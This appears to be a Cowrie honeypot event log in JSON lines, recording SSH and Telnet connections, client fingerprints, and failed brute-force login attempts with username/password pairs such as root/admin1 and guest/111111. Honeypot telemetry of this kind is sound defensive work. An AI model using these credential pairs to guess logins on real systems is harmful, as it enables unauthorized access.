{"eventid":"cowrie.session.closed","duration":14.644721508026123,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:08.236065Z","src_ip":"176.65.139.118","session":"e7851750f393","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":36318,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3fb28972078","protocol":"telnet","message":"New connection: 176.65.139.118:36318 (159.203.135.109:23) [session: d3fb28972078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:08.421354Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56738,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a71a4a68ea1","protocol":"telnet","message":"New connection: 152.42.224.71:56738 (10.17.0.5:23) [session: 4a71a4a68ea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:09.976251Z"}
{"eventid":"cowrie.session.closed","duration":39.548858404159546,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:10.386950Z","src_ip":"152.42.224.71","session":"af2bb00c3cbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.3273861408233643,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:10.748618Z","src_ip":"176.65.139.118","session":"d3fb28972078","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58174,"dst_ip":"159.203.135.109","dst_port":22,"session":"160bb12876b2","protocol":"ssh","message":"New connection: 31.40.204.166:58174 (159.203.135.109:22) [session: 160bb12876b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:12.301851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:12.313111Z","src_ip":"31.40.204.166","session":"160bb12876b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:12.480468Z","src_ip":"31.40.204.166","session":"160bb12876b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:13.017167Z","src_ip":"31.40.204.166","session":"160bb12876b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:14.285113Z","src_ip":"31.40.204.166","session":"160bb12876b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":115.41065406799316,"message":"Connection lost after 115 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:19.746895Z","src_ip":"152.42.224.71","session":"181d96852a82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":44680,"dst_ip":"159.203.135.109","dst_port":22,"session":"792c67f6411b","protocol":"ssh","message":"New connection: 31.40.204.166:44680 (159.203.135.109:22) [session: 792c67f6411b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:24.284137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:24.302117Z","src_ip":"31.40.204.166","session":"792c67f6411b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:24.410767Z","src_ip":"31.40.204.166","session":"792c67f6411b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:24.928920Z","src_ip":"31.40.204.166","session":"792c67f6411b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:26.104503Z","src_ip":"31.40.204.166","session":"792c67f6411b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43302,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fae65bc6cab","protocol":"telnet","message":"New connection: 152.42.224.71:43302 (10.17.0.5:23) [session: 2fae65bc6cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:26.432953Z"}
{"eventid":"cowrie.session.closed","duration":97.7157940864563,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:28.362812Z","src_ip":"152.42.224.71","session":"19f79d3a81a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43310,"dst_ip":"10.17.0.5","dst_port":23,"session":"695fde3f144a","protocol":"telnet","message":"New connection: 152.42.224.71:43310 (10.17.0.5:23) [session: 695fde3f144a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:29.054960Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":47608,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1649e80714f","protocol":"ssh","message":"New connection: 194.113.233.25:47608 (10.17.0.5:22) [session: b1649e80714f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:29.544163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:29.549106Z","src_ip":"194.113.233.25","session":"b1649e80714f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:29.642675Z","src_ip":"194.113.233.25","session":"b1649e80714f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43312,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bdc39fb1c10","protocol":"telnet","message":"New connection: 152.42.224.71:43312 (10.17.0.5:23) [session: 4bdc39fb1c10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:29.863744Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty100","message":"login attempt [root/qwerty100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:29.924145Z","src_ip":"194.113.233.25","session":"b1649e80714f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:31.020718Z","src_ip":"194.113.233.25","session":"b1649e80714f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":21464,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7b0abc8d854","protocol":"ssh","message":"New connection: 2.57.121.25:21464 (159.203.135.109:22) [session: f7b0abc8d854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:35.406766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:35.412222Z","src_ip":"2.57.121.25","session":"f7b0abc8d854","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:35.517396Z","src_ip":"2.57.121.25","session":"f7b0abc8d854","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40542,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ba860fe9bf1","protocol":"ssh","message":"New connection: 31.40.204.166:40542 (159.203.135.109:22) [session: 8ba860fe9bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:35.687357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:35.702757Z","src_ip":"31.40.204.166","session":"8ba860fe9bf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:35.814435Z","src_ip":"31.40.204.166","session":"8ba860fe9bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"240784","message":"login attempt [user/240784] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:36.013800Z","src_ip":"2.57.121.25","session":"f7b0abc8d854","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:36.418773Z","src_ip":"31.40.204.166","session":"8ba860fe9bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24061981","message":"login attempt [user/24061981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:37.121432Z","src_ip":"2.57.121.25","session":"f7b0abc8d854","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:37.608718Z","src_ip":"31.40.204.166","session":"8ba860fe9bf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41292,"dst_ip":"10.17.0.5","dst_port":23,"session":"c128d5abff5b","protocol":"telnet","message":"New connection: 152.42.224.71:41292 (10.17.0.5:23) [session: c128d5abff5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:37.649776Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"240590","message":"login attempt [user/240590] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:38.231450Z","src_ip":"2.57.121.25","session":"f7b0abc8d854","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24041995","message":"login attempt [user/24041995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:39.339899Z","src_ip":"2.57.121.25","session":"f7b0abc8d854","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"240388","message":"login attempt [user/240388] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:40.447762Z","src_ip":"2.57.121.25","session":"f7b0abc8d854","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:41.556776Z","src_ip":"2.57.121.25","session":"f7b0abc8d854","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00376582145691,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:44.073698Z","src_ip":"152.42.224.71","session":"adf20bd7c9b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60968,"dst_ip":"159.203.135.109","dst_port":22,"session":"d345c59a26e8","protocol":"ssh","message":"New connection: 31.40.204.166:60968 (159.203.135.109:22) [session: d345c59a26e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:46.886893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:47.096883Z","src_ip":"31.40.204.166","session":"d345c59a26e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:47.101742Z","src_ip":"31.40.204.166","session":"d345c59a26e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.0617733001709,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:47.924581Z","src_ip":"152.42.224.71","session":"38e9b9bcc44b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"111111","message":"login attempt [guest/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:47.930580Z","src_ip":"31.40.204.166","session":"d345c59a26e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":19234,"dst_ip":"159.203.135.109","dst_port":22,"session":"00df6a71e870","protocol":"ssh","message":"New connection: 38.93.206.2:19234 (159.203.135.109:22) [session: 00df6a71e870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:48.060943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:48.065989Z","src_ip":"38.93.206.2","session":"00df6a71e870","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:48.117103Z","src_ip":"38.93.206.2","session":"00df6a71e870","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pobeda","message":"login attempt [root/pobeda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:15:48.279787Z","src_ip":"38.93.206.2","session":"00df6a71e870","protocol":"ssh"}
